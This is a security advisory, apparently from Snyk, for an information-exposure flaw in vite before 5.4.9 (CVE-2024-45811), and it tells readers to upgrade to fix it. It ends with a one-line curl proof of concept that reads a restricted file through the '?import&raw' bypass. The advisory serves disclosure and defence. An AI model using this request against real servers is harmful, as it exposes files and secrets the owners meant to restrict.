Information Exposure Affecting org.webjars.npm:vite package, versions [,5.4.9)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (11th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JAVA-ORGWEBJARSNPM-8163090
- published 9 Oct 2024
- disclosed 17 Sep 2024
- credit adi1
Introduced: 17 Sep 2024
CVE-2024-45811 Open this link in a new tabHow to fix?
Upgrade org.webjars.npm:vite to version 5.4.9 or higher.
Overview
org.webjars.npm:vite is a Native-ESM powered web dev build tool
Affected versions of this package are vulnerable to Information Exposure when using ?import&raw in the URL parameters. An attacker can access file contents that should be restricted by exploiting this bypass mechanism.
PoC
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...